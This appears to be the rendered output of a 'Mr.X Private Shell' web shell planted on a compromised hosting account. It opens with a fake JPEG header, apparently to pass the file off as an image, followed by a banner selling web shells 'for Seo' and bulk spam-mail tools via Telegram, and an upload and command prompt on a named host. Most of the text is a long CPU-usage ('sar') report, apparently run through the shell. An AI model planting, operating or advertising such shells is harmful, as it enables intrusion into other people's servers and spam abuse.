����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

dccreditrepairto@216.73.216.185: ~ $
Linux 5.14.0-611.41.1.el9_7.x86_64 (50-6-4-53.bluehost.com) 	2026-04-14 	_x86_64_	(16 CPU)

00:00:00        CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
00:10:00        all     33.68      0.04      2.82      0.28      0.00      0.00      0.14      0.00      0.00     63.04
00:10:00          0     28.96      0.10      2.57      0.35      0.00      0.00      0.43      0.00      0.00     67.58
00:10:00          1     31.90      0.00      2.71      0.34      0.00      0.00      0.66      0.00      0.00     64.39
00:10:00          2     38.82      0.00      3.05      0.23      0.00      0.00      0.11      0.00      0.00     57.79
00:10:00          3     38.48      0.00      3.13      0.18      0.00      0.00      0.06      0.00      0.00     58.14
00:10:00          4     39.27      0.00      3.10      0.48      0.00      0.00      0.05      0.00      0.00     57.10
00:10:00          5     37.91      0.03      3.08      0.48      0.00      0.00      0.06      0.00      0.00     58.45
00:10:00          6     34.84      0.03      2.90      0.14      0.00      0.00      0.06      0.00      0.00     62.04
00:10:00          7     34.70      0.02      2.96      0.69      0.00      0.00      0.05      0.00      0.00     61.58
00:10:00          8     32.51      0.07      2.68      0.12      0.00      0.00      0.06      0.00      0.00     64.55
00:10:00          9     33.44      0.01      2.80      0.17      0.00      0.00      0.04      0.00      0.00     63.54
00:10:00         10     32.65      0.28      2.73      0.18      0.00      0.00      0.07      0.00      0.00     64.09
00:10:00         11     32.05      0.02      2.72      0.19      0.00      0.00      0.04      0.00      0.00     64.98
00:10:00         12     30.79      0.00      2.71      0.06      0.00      0.00      0.06      0.00      0.00     66.37
00:10:00         13     31.48      0.03      2.73      0.23      0.00      0.00      0.07      0.00      0.00     65.47
00:10:00         14     29.03      0.00      2.38      0.21      0.00      0.00      0.06      0.00      0.00     68.32
00:10:00         15     32.06      0.07      2.84      0.49      0.00      0.00      0.34      0.00      0.00     64.20
00:20:00        all     29.88      0.00      2.52      0.10      0.00      0.00      0.13      0.00      0.00     67.37
00:20:00          0     26.06      0.02      2.23      0.06      0.00      0.00      0.50      0.00      0.00     71.13
00:20:00          1     30.36      0.00      2.83      0.36      0.00      0.00      0.54      0.00      0.00     65.91
00:20:00          2     34.36      0.01      2.88      0.13      0.00      0.00      0.09      0.00      0.00     62.52
00:20:00          3     35.47      0.00      2.93      0.08      0.00      0.00      0.05      0.00      0.00     61.47
00:20:00          4     35.22      0.00      2.78      0.08      0.00      0.00      0.06      0.00      0.00     61.87
00:20:00          5     31.03      0.00      2.55      0.07      0.00      0.00      0.05      0.00      0.00     66.29
00:20:00          6     30.90      0.00      2.62      0.11      0.00      0.00      0.05      0.00      0.00     66.33
00:20:00          7     31.57      0.00      2.63      0.08      0.00      0.00      0.04      0.00      0.00     65.68
00:20:00          8     30.07      0.00      2.41      0.07      0.00      0.00      0.05      0.00      0.00     67.40
00:20:00          9     26.15      0.00      2.27      0.11      0.00      0.00      0.03      0.00      0.00     71.43
00:20:00         10     29.29      0.00      2.40      0.10      0.00      0.00      0.06      0.00      0.00     68.16
00:20:00         11     27.75      0.00      2.41      0.15      0.00      0.00      0.03      0.00      0.00     69.66
00:20:00         12     26.88      0.00      2.30      0.09      0.00      0.00      0.05      0.00      0.00     70.68
00:20:00         13     27.85      0.00      2.31      0.03      0.00      0.00      0.06      0.00      0.00     69.76
00:20:00         14     28.04      0.00      2.35      0.07      0.00      0.00      0.05      0.00      0.00     69.48
00:20:00         15     27.08      0.00      2.36      0.07      0.00      0.00      0.29      0.00      0.00     70.20
00:30:00        all     27.41      0.00      2.29      0.10      0.00      0.00      0.10      0.00      0.00     70.09
00:30:00          0     23.03      0.00      1.92      0.01      0.00      0.00      0.34      0.00      0.00     74.71
00:30:00          1     28.23      0.02      2.37      0.16      0.00      0.00      0.48      0.00      0.00     68.73
00:30:00          2     33.53      0.00      2.73      0.06      0.00      0.00      0.09      0.00      0.00     63.59
00:30:00          3     32.34      0.00      2.63      0.05      0.00      0.00      0.04      0.00      0.00     64.95
00:30:00          4     32.77      0.00      2.68      0.09      0.00      0.00      0.04      0.00      0.00     64.42
00:30:00          5     31.29      0.00      2.40      0.12      0.00      0.00      0.05      0.00      0.00     66.15
00:30:00          6     27.90      0.00      2.26      0.28      0.00      0.00      0.04      0.00      0.00     69.52
00:30:00          7     26.54      0.00      2.24      0.01      0.00      0.00      0.02      0.00      0.00     71.18
00:30:00          8     27.74      0.00      2.45      0.06      0.00      0.00      0.03      0.00      0.00     69.72
00:30:00          9     24.74      0.00      2.26      0.15      0.00      0.00      0.03      0.00      0.00     72.81
00:30:00         10     24.99      0.00      2.15      0.18      0.00      0.00      0.04      0.00      0.00     72.64
00:30:00         11     25.03      0.00      2.08      0.02      0.00      0.00      0.02      0.00      0.00     72.86
00:30:00         12     24.10      0.00      2.03      0.12      0.00      0.00      0.03      0.00      0.00     73.72
00:30:00         13     24.81      0.00      2.12      0.01      0.00      0.00      0.03      0.00      0.00     73.02
00:30:00         14     25.88      0.00      2.15      0.07      0.00      0.00      0.04      0.00      0.00     71.86
00:30:00         15     25.72      0.00      2.26      0.16      0.00      0.00      0.27      0.00      0.00     71.59
00:40:00        all     21.46      0.00      1.92      0.10      0.00      0.00      0.08      0.00      0.00     76.43
00:40:00          0     17.14      0.00      1.70      0.03      0.00      0.00      0.32      0.00      0.00     80.82
00:40:00          1     23.21      0.00      2.15      0.13      0.00      0.00      0.38      0.00      0.00     74.12
00:40:00          2     28.26      0.00      2.34      0.07      0.00      0.00      0.04      0.00      0.00     69.29
00:40:00          3     28.06      0.03      2.34      0.07      0.00      0.00      0.04      0.00      0.00     69.47
00:40:00          4     26.18      0.00      2.38      0.09      0.00      0.00      0.01      0.00      0.00     71.33
00:40:00          5     24.58      0.00      2.05      0.04      0.00      0.00      0.04      0.00      0.00     73.29
00:40:00          6     23.05      0.00      2.04      0.05      0.00      0.00      0.02      0.00      0.00     74.84
00:40:00          7     22.02      0.00      1.91      0.06      0.00      0.00      0.01      0.00      0.00     75.99
00:40:00          8     22.75      0.04      1.93      0.08      0.00      0.00      0.03      0.00      0.00     75.17
00:40:00          9     17.49      0.00      1.60      0.12      0.00      0.00      0.02      0.00      0.00     80.77
00:40:00         10     19.82      0.00      1.82      0.10      0.00      0.00      0.03      0.00      0.00     78.23
00:40:00         11     16.51      0.00      1.57      0.19      0.00      0.00      0.02      0.00      0.00     81.71
00:40:00         12     18.27      0.00      1.68      0.15      0.00      0.00      0.03      0.00      0.00     79.87
00:40:00         13     18.71      0.00      1.79      0.11      0.00      0.00      0.02      0.00      0.00     79.38
00:40:00         14     17.36      0.00      1.60      0.22      0.00      0.00      0.04      0.00      0.00     80.79
00:40:00         15     20.00      0.00      1.84      0.09      0.00      0.00      0.28      0.00      0.00     77.78
00:50:00        all     18.86      0.00      1.83      0.11      0.00      0.00      0.09      0.00      0.00     79.11
00:50:00          0     16.79      0.00      1.84      0.19      0.00      0.00      0.36      0.00      0.00     80.82
00:50:00          1     18.28      0.00      1.79      0.23      0.00      0.00      0.43      0.00      0.00     79.27
00:50:00          2     26.65      0.00      2.32      0.05      0.00      0.00      0.03      0.00      0.00     70.96
00:50:00          3     23.19      0.00      2.21      0.04      0.00      0.00      0.04      0.00      0.00     74.52
00:50:00          4     22.23      0.04      2.07      0.18      0.00      0.00      0.02      0.00      0.00     75.46
00:50:00          5     23.13      0.00      2.09      0.15      0.00      0.00      0.04      0.00      0.00     74.59
00:50:00          6     19.47      0.00      1.92      0.10      0.00      0.00      0.03      0.00      0.00     78.49
00:50:00          7     17.09      0.00      1.74      0.13      0.00      0.00      0.01      0.00      0.00     81.02
00:50:00          8     18.82      0.00      1.83      0.03      0.00      0.00      0.03      0.00      0.00     79.29
00:50:00          9     16.21      0.00      1.60      0.07      0.00      0.00      0.02      0.00      0.00     82.09
00:50:00         10     17.60      0.00      1.64      0.01      0.00      0.00      0.03      0.00      0.00     80.72
00:50:00         11     18.09      0.00      1.69      0.06      0.00      0.00      0.02      0.00      0.00     80.13
00:50:00         12     16.62      0.01      1.66      0.06      0.00      0.00      0.03      0.00      0.00     81.62
00:50:00         13     14.35      0.02      1.43      0.09      0.00      0.00      0.02      0.00      0.00     84.10
00:50:00         14     14.57      0.00      1.57      0.19      0.00      0.00      0.04      0.00      0.00     83.63
00:50:00         15     18.74      0.00      1.88      0.11      0.00      0.00      0.29      0.00      0.00     78.98
01:00:00        all     18.65      0.00      1.85      0.15      0.00      0.00      0.08      0.00      0.00     79.25
01:00:00          0     14.94      0.00      1.62      0.30      0.00      0.00      0.38      0.00      0.00     82.75
01:00:00          1     20.96      0.00      1.98      0.09      0.00      0.00      0.36      0.00      0.00     76.60
01:00:00          2     26.11      0.00      2.22      0.12      0.00      0.00      0.05      0.00      0.00     71.51
01:00:00          3     23.58      0.00      2.36      0.03      0.00      0.00      0.03      0.00      0.00     73.99
01:00:00          4     19.55      0.00      2.08      0.25      0.00      0.00      0.02      0.00      0.00     78.10
01:00:00          5     20.25      0.00      2.01      0.25      0.00      0.00      0.04      0.00      0.00     77.45
01:00:00          6     19.21      0.00      1.88      0.09      0.00      0.00      0.02      0.00      0.00     78.79
01:00:00          7     19.20      0.00      1.90      0.11      0.00      0.00      0.02      0.00      0.00     78.77
01:00:00          8     17.19      0.02      1.67      0.16      0.00      0.00      0.03      0.00      0.00     80.93
01:00:00          9     16.67      0.00      1.75      0.10      0.00      0.00      0.02      0.00      0.00     81.46
01:00:00         10     16.21      0.00      1.62      0.13      0.00      0.00      0.03      0.00      0.00     82.01
01:00:00         11     16.79      0.00      1.73      0.14      0.00      0.00      0.02      0.00      0.00     81.32
01:00:00         12     16.74      0.00      1.65      0.08      0.00      0.00      0.03      0.00      0.00     81.50
01:00:00         13     16.23      0.00      1.67      0.17      0.00      0.00      0.03      0.00      0.00     81.90
01:00:00         14     15.35      0.00      1.61      0.12      0.00      0.00      0.03      0.00      0.00     82.88
01:00:00         15     19.48      0.00      1.93      0.27      0.01      0.00      0.23      0.00      0.00     78.08
01:10:00        all     19.95      0.00      1.83      0.11      0.00      0.00      0.07      0.00      0.00     78.04
01:10:00          0     16.03      0.00      1.58      0.52      0.00      0.00      0.32      0.00      0.00     81.55
01:10:00          1     21.42      0.00      1.92      0.10      0.00      0.00      0.37      0.00      0.00     76.20
01:10:00          2     28.20      0.00      2.30      0.03      0.00      0.00      0.03      0.00      0.00     69.45
01:10:00          3     26.26      0.00      2.23      0.02      0.00      0.00      0.03      0.00      0.00     71.47
01:10:00          4     24.82      0.00      2.26      0.02      0.00      0.00      0.03      0.00      0.00     72.87
01:10:00          5     21.42      0.00      2.04      0.04      0.00      0.00      0.04      0.00      0.00     76.47
01:10:00          6     20.68      0.04      1.92      0.02      0.00      0.00      0.01      0.00      0.00     77.33
01:10:00          7     18.67      0.00      1.69      0.15      0.00      0.00      0.01      0.00      0.00     79.49
01:10:00          8     19.92      0.00      1.73      0.03      0.00      0.00      0.04      0.00      0.00     78.29
01:10:00          9     16.99      0.00      1.58      0.16      0.00      0.00      0.02      0.00      0.00     81.25
01:10:00         10     20.42      0.00      1.80      0.07      0.00      0.00      0.03      0.00      0.00     77.68
01:10:00         11     17.34      0.00      1.62      0.08      0.00      0.00      0.02      0.00      0.00     80.95
01:10:00         12     15.17      0.00      1.62      0.26      0.00      0.00      0.03      0.00      0.00     82.92
01:10:00         13     17.42      0.00      1.67      0.03      0.00      0.00      0.01      0.00      0.00     80.87
01:10:00         14     14.51      0.00      1.41      0.10      0.00      0.00      0.03      0.00      0.00     83.94
01:10:00         15     19.93      0.00      1.94      0.14      0.00      0.00      0.14      0.00      0.00     77.84
01:20:00        all     21.99      0.01      1.99      0.12      0.00      0.00      0.09      0.00      0.00     75.80
01:20:00          0     19.45      0.00      1.84      0.04      0.00      0.00      0.36      0.00      0.00     78.32
01:20:00          1     20.28      0.00      1.78      0.17      0.00      0.00      0.53      0.00      0.00     77.24
01:20:00          2     28.65      0.00      2.60      0.12      0.00      0.00      0.05      0.00      0.00     68.58
01:20:00          3     30.13      0.00      2.53      0.08      0.00      0.00      0.04      0.00      0.00     67.22
01:20:00          4     25.82      0.00      2.30      0.04      0.00      0.00      0.03      0.00      0.00     71.81
01:20:00          5     22.52      0.19      2.09      0.31      0.00      0.00      0.05      0.00      0.00     74.85
01:20:00          6     23.51      0.00      2.01      0.16      0.00      0.00      0.02      0.00      0.00     74.30
01:20:00          7     24.78      0.00      2.16      0.04      0.00      0.00      0.01      0.00      0.00     73.01
01:20:00          8     20.73      0.00      1.86      0.07      0.00      0.00      0.04      0.00      0.00     77.30
01:20:00          9     21.61      0.00      1.96      0.05      0.00      0.00      0.02      0.00      0.00     76.37
01:20:00         10     18.89      0.00      1.72      0.13      0.00      0.00      0.03      0.00      0.00     79.23
01:20:00         11     20.06      0.00      1.85      0.17      0.00      0.00      0.03      0.00      0.00     77.89
01:20:00         12     19.17      0.00      1.86      0.11      0.00      0.00      0.04      0.00      0.00     78.82
01:20:00         13     18.05      0.00      1.70      0.35      0.00      0.00      0.02      0.00      0.00     79.89
01:20:00         14     17.10      0.00      1.67      0.12      0.00      0.00      0.04      0.00      0.00     81.07
01:20:00         15     21.09      0.00      1.88      0.03      0.00      0.00      0.18      0.00      0.00     76.82
01:30:00        all     35.22      0.00      2.87      0.09      0.00      0.00      0.17      0.00      0.00     61.66
01:30:00          0     31.98      0.00      2.66      0.15      0.00      0.00      0.71      0.00      0.00     64.50
01:30:00          1     32.42      0.00      2.62      0.12      0.00      0.00      0.92      0.00      0.00     63.92
01:30:00          2     39.89      0.00      3.25      0.11      0.00      0.00      0.14      0.00      0.00     56.61
01:30:00          3     39.33      0.00      3.11      0.14      0.00      0.00      0.08      0.00      0.00     57.34
01:30:00          4     38.47      0.00      2.97      0.01      0.00      0.00      0.07      0.00      0.00     58.48
01:30:00          5     39.46      0.00      2.98      0.02      0.00      0.00      0.08      0.00      0.00     57.46
01:30:00          6     38.80      0.00      3.03      0.04      0.00      0.00      0.06      0.00      0.00     58.07
01:30:00          7     35.96      0.02      2.94      0.05      0.00      0.00      0.03      0.00      0.00     61.00
01:30:00          8     36.54      0.01      2.96      0.02      0.00      0.00      0.08      0.00      0.00     60.39
01:30:00          9     32.53      0.00      2.73      0.06      0.00      0.00      0.03      0.00      0.00     64.65
01:30:00         10     33.27      0.00      2.77      0.09      0.00      0.00      0.06      0.00      0.00     63.81
01:30:00         11     33.41      0.00      2.85      0.11      0.00      0.00      0.04      0.00      0.00     63.59
01:30:00         12     32.24      0.00      2.60      0.09      0.00      0.00      0.06      0.00      0.00     65.02
01:30:00         13     32.99      0.00      2.82      0.11      0.00      0.00      0.04      0.00      0.00     64.04
01:30:00         14     32.42      0.00      2.76      0.13      0.00      0.00      0.06      0.00      0.00     64.63
01:30:00         15     33.80      0.00      2.87      0.15      0.00      0.00      0.22      0.00      0.00     62.97
01:40:00        all     38.89      0.01      3.12      0.09      0.00      0.00      0.14      0.00      0.00     57.75
01:40:00          0     36.05      0.03      2.95      0.22      0.00      0.00      0.49      0.00      0.00     60.25
01:40:00          1     37.39      0.00      2.96      0.01      0.00      0.00      0.68      0.00      0.00     58.95
01:40:00          2     42.57      0.00      3.39      0.04      0.00      0.00      0.13      0.00      0.00     53.86
01:40:00          3     43.81      0.00      3.39      0.09      0.00      0.00      0.09      0.00      0.00     52.62
01:40:00          4     43.21      0.00      3.34      0.01      0.00      0.00      0.07      0.00      0.00     53.37
01:40:00          5     40.95      0.02      3.26      0.06      0.00      0.00      0.07      0.00      0.00     55.64
01:40:00          6     40.10      0.00      3.08      0.03      0.00      0.00      0.07      0.00      0.00     56.72
01:40:00          7     39.43      0.00      3.19      0.10      0.00      0.00      0.04      0.00      0.00     57.24
01:40:00          8     40.74      0.00      3.18      0.03      0.00      0.00      0.08      0.00      0.00     55.97
01:40:00          9     37.42      0.00      3.08      0.14      0.00      0.00      0.04      0.00      0.00     59.32
01:40:00         10     36.98      0.02      2.93      0.07      0.00      0.00      0.06      0.00      0.00     59.93
01:40:00         11     36.83      0.00      2.97      0.12      0.00      0.00      0.04      0.00      0.00     60.04
01:40:00         12     36.85      0.00      2.94      0.08      0.00      0.00      0.07      0.00      0.00     60.05
01:40:00         13     37.26      0.00      3.14      0.17      0.00      0.00      0.04      0.00      0.00     59.39
01:40:00         14     37.06      0.00      3.16      0.12      0.00      0.00      0.08      0.00      0.00     59.58
01:40:00         15     35.52      0.00      2.99      0.11      0.00      0.00      0.24      0.00      0.00     61.14
01:50:00        all     33.42      0.00      2.71      0.09      0.00      0.00      0.13      0.00      0.00     63.65
01:50:00          0     29.06      0.00      2.35      0.18      0.00      0.00      0.49      0.00      0.00     67.91
01:50:00          1     30.98      0.00      2.57      0.02      0.00      0.00      0.64      0.00      0.00     65.79
01:50:00          2     40.30      0.00      3.19      0.07      0.00      0.00      0.08      0.00      0.00     56.36
01:50:00          3     39.74      0.00      3.05      0.10      0.00      0.00      0.06      0.00      0.00     57.05
01:50:00          4     36.94      0.00      2.94      0.12      0.00      0.00      0.06      0.00      0.00     59.94
01:50:00          5     36.73      0.00      3.02      0.07      0.00      0.00      0.07      0.00      0.00     60.10
01:50:00          6     33.65      0.00      2.67      0.06      0.00      0.00      0.06      0.00      0.00     63.56
01:50:00          7     34.44      0.00      2.93      0.13      0.00      0.00      0.04      0.00      0.00     62.46
01:50:00          8     32.55      0.00      2.66      0.01      0.00      0.00      0.07      0.00      0.00     64.71
01:50:00          9     31.92      0.02      2.59      0.07      0.00      0.00      0.03      0.00      0.00     65.37
01:50:00         10     31.72      0.00      2.62      0.05      0.00      0.00      0.06      0.00      0.00     65.54
01:50:00         11     32.45      0.00      2.54      0.11      0.00      0.00      0.03      0.00      0.00     64.87
01:50:00         12     31.08      0.00      2.55      0.06      0.00      0.00      0.07      0.00      0.00     66.24
01:50:00         13     30.93      0.00      2.56      0.14      0.00      0.00      0.06      0.00      0.00     66.32
01:50:00         14     31.09      0.00      2.53      0.04      0.00      0.00      0.06      0.00      0.00     66.28
01:50:00         15     31.11      0.00      2.60      0.19      0.00      0.00      0.25      0.00      0.00     65.84

01:50:00        CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
02:00:00        all     29.00      0.00      2.43      0.10      0.00      0.00      0.12      0.00      0.00     68.36
02:00:00          0     25.06      0.00      2.29      0.09      0.00      0.00      0.46      0.00      0.00     72.10
02:00:00          1     27.80      0.00      2.39      0.20      0.00      0.00      0.55      0.00      0.00     69.06
02:00:00          2     36.51      0.00      2.96      0.01      0.00      0.00      0.07      0.00      0.00     60.44
02:00:00          3     33.41      0.00      2.70      0.12      0.00      0.00      0.05      0.00      0.00     63.72
02:00:00          4     34.34      0.00      2.64      0.07      0.00      0.00      0.05      0.00      0.00     62.91
02:00:00          5     32.82      0.00      2.69      0.01      0.00      0.00      0.05      0.00      0.00     64.43
02:00:00          6     28.70      0.00      2.42      0.13      0.00      0.00      0.05      0.00      0.00     68.69
02:00:00          7     30.68      0.00      2.59      0.03      0.00      0.00      0.03      0.00      0.00     66.66
02:00:00          8     28.37      0.00      2.41      0.04      0.00      0.00      0.05      0.00      0.00     69.13
02:00:00          9     27.84      0.00      2.34      0.03      0.00      0.00      0.04      0.00      0.00     69.76
02:00:00         10     27.35      0.04      2.27      0.23      0.00      0.00      0.06      0.00      0.00     70.07
02:00:00         11     27.01      0.00      2.27      0.14      0.00      0.00      0.03      0.00      0.00     70.55
02:00:00         12     25.48      0.00      2.14      0.15      0.00      0.00      0.04      0.00      0.00     72.17
02:00:00         13     27.68      0.00      2.30      0.03      0.00      0.00      0.05      0.00      0.00     69.93
02:00:00         14     24.30      0.00      2.00      0.04      0.00      0.00      0.05      0.00      0.00     73.61
02:00:00         15     26.59      0.00      2.45      0.20      0.00      0.00      0.25      0.00      0.00     70.50
02:10:00        all     23.17      5.52      3.00      0.74      0.01      0.00      0.19      0.00      0.00     67.37
02:10:00          0     19.06      4.70      2.92      0.57      0.00      0.00      0.73      0.00      0.00     72.01
02:10:00          1     23.01      5.94      2.98      1.04      0.01      0.00      0.79      0.00      0.00     66.23
02:10:00          2     28.99      4.82      3.33      1.02      0.01      0.00      0.15      0.00      0.00     61.68
02:10:00          3     27.62      5.97      3.36      0.88      0.00      0.00      0.11      0.00      0.00     62.05
02:10:00          4     27.38      4.75      3.28      0.30      0.00      0.00      0.08      0.00      0.00     64.21
02:10:00          5     25.08      5.62      3.13      0.60      0.00      0.00      0.09      0.00      0.00     65.47
02:10:00          6     23.97      5.21      2.81      0.49      0.00      0.00      0.08      0.00      0.00     67.44
02:10:00          7     23.94      3.30      2.84      0.37      0.00      0.00      0.07      0.00      0.00     69.47
02:10:00          8     23.29      7.39      2.93      0.64      0.00      0.00      0.08      0.00      0.00     65.67
02:10:00          9     22.16      5.36      2.62      0.60      0.00      0.00      0.07      0.00      0.00     69.20
02:10:00         10     21.60      3.87      2.92      0.82      0.01      0.00      0.10      0.00      0.00     70.68
02:10:00         11     22.56      5.35      3.05      0.89      0.00      0.00      0.06      0.00      0.00     68.08
02:10:00         12     22.17      5.30      2.73      0.61      0.00      0.00      0.09      0.00      0.00     69.09
02:10:00         13     19.55      8.68      2.72      0.58      0.00      0.00      0.08      0.00      0.00     68.38
02:10:00         14     18.79      6.34      2.84      1.34      0.01      0.00      0.10      0.00      0.00     70.59
02:10:00         15     21.57      5.79      3.53      1.13      0.02      0.00      0.36      0.00      0.00     67.61
02:20:00        all     24.08      5.28      3.12      1.03      0.00      0.00      0.23      0.00      0.00     66.25
02:20:00          0     22.00      3.48      2.85      0.87      0.00      0.00      0.75      0.00      0.00     70.05
02:20:00          1     23.58      4.36      3.17      1.31      0.00      0.00      1.10      0.00      0.00     66.47
02:20:00          2     29.85      5.91      3.51      1.74      0.00      0.00      0.22      0.00      0.00     58.76
02:20:00          3     24.94      8.86      3.36      1.46      0.00      0.00      0.12      0.00      0.00     61.27
02:20:00          4     28.59      7.47      3.39      0.79      0.00      0.00      0.13      0.00      0.00     59.63
02:20:00          5     27.08      3.74      3.45      0.81      0.00      0.00      0.11      0.00      0.00     64.82
02:20:00          6     24.54      4.38      3.17      1.30      0.00      0.00      0.12      0.00      0.00     66.48
02:20:00          7     26.82      4.66      3.05      0.89      0.00      0.00      0.11      0.00      0.00     64.46
02:20:00          8     24.47      3.96      2.97      0.53      0.00      0.00      0.11      0.00      0.00     67.97
02:20:00          9     22.93      4.79      2.96      0.54      0.00      0.00      0.09      0.00      0.00     68.68
02:20:00         10     22.97      5.70      3.08      1.16      0.00      0.00      0.12      0.00      0.00     66.96
02:20:00         11     22.09      5.09      2.94      0.70      0.00      0.00      0.07      0.00      0.00     69.11
02:20:00         12     21.51      6.05      2.84      0.99      0.00      0.00      0.11      0.00      0.00     68.49
02:20:00         13     19.27      5.65      2.55      0.89      0.00      0.00      0.10      0.00      0.00     71.53
02:20:00         14     21.77      5.13      3.28      1.03      0.00      0.00      0.13      0.00      0.00     68.66
02:20:00         15     22.79      5.32      3.40      1.50      0.00      0.00      0.34      0.00      0.00     66.64
02:30:00        all     28.31      5.58      3.34      0.74      0.00      0.00      0.20      0.00      0.00     61.82
02:30:00          0     24.06      4.96      3.06      0.38      0.00      0.00      0.71      0.00      0.00     66.82
02:30:00          1     28.18      4.72      3.64      1.24      0.00      0.00      0.92      0.00      0.00     61.31
02:30:00          2     33.17      5.81      3.49      0.88      0.00      0.00      0.20      0.00      0.00     56.46
02:30:00          3     30.67      7.69      3.50      0.56      0.00      0.00      0.11      0.00      0.00     57.47
02:30:00          4     33.26      6.06      3.53      0.50      0.00      0.00      0.09      0.00      0.00     56.57
02:30:00          5     29.58      7.01      3.89      1.07      0.00      0.00      0.10      0.00      0.00     58.35
02:30:00          6     30.19      5.12      3.50      0.59      0.00      0.00      0.10      0.00      0.00     60.50
02:30:00          7     29.23      5.39      3.54      1.50      0.00      0.00      0.11      0.00      0.00     60.24
02:30:00          8     28.75      6.52      3.12      0.61      0.00      0.00      0.10      0.00      0.00     60.89
02:30:00          9     27.53      6.65      3.24      0.72      0.00      0.00      0.10      0.00      0.00     61.75
02:30:00         10     26.34      5.87      3.24      0.86      0.00      0.00      0.11      0.00      0.00     63.58
02:30:00         11     25.83      5.85      3.19      0.58      0.00      0.00      0.08      0.00      0.00     64.47
02:30:00         12     27.09      3.07      3.05      0.34      0.00      0.00      0.09      0.00      0.00     66.35
02:30:00         13     26.74      4.31      3.01      0.36      0.00      0.00      0.08      0.00      0.00     65.50
02:30:00         14     25.72      4.47      2.96      0.75      0.00      0.00      0.08      0.00      0.00     66.00
02:30:00         15     26.63      5.82      3.48      0.92      0.01      0.00      0.25      0.00      0.00     62.90
02:40:00        all     24.67      5.33      3.01      1.07      0.00      0.00      0.20      0.00      0.00     65.72
02:40:00          0     21.23      3.55      2.33      0.61      0.00      0.00      0.67      0.00      0.00     71.61
02:40:00          1     25.23      8.95      3.33      1.56      0.00      0.00      0.89      0.00      0.00     60.03
02:40:00          2     30.23      8.76      3.12      0.61      0.00      0.00      0.15      0.00      0.00     57.12
02:40:00          3     30.42      3.71      3.20      1.15      0.00      0.00      0.12      0.00      0.00     61.39
02:40:00          4     29.35      5.69      3.10      0.61      0.00      0.00      0.13      0.00      0.00     61.13
02:40:00          5     26.00      6.11      3.63      1.82      0.00      0.00      0.11      0.00      0.00     62.34
02:40:00          6     24.87      5.98      3.08      1.33      0.00      0.00      0.11      0.00      0.00     64.63
02:40:00          7     25.72      4.37      3.17      0.59      0.00      0.00      0.08      0.00      0.00     66.08
02:40:00          8     26.27      3.32      3.02      0.59      0.00      0.00      0.10      0.00      0.00     66.70
02:40:00          9     23.76      6.09      2.82      1.21      0.00      0.00      0.07      0.00      0.00     66.04
02:40:00         10     23.44      6.33      2.85      0.94      0.00      0.00      0.10      0.00      0.00     66.34
02:40:00         11     23.96      3.02      2.80      1.30      0.00      0.00      0.10      0.00      0.00     68.82
02:40:00         12     21.26      5.87      2.70      0.48      0.00      0.00      0.08      0.00      0.00     69.60
02:40:00         13     19.50      7.17      2.63      1.12      0.00      0.00      0.09      0.00      0.00     69.48
02:40:00         14     23.00      2.79      2.88      1.13      0.00      0.00      0.10      0.00      0.00     70.11
02:40:00         15     20.51      3.53      3.51      2.03      0.00      0.00      0.29      0.00      0.00     70.14
02:50:00        all     20.12      2.95      2.42      3.04      0.00      0.00      0.19      0.00      0.00     71.27
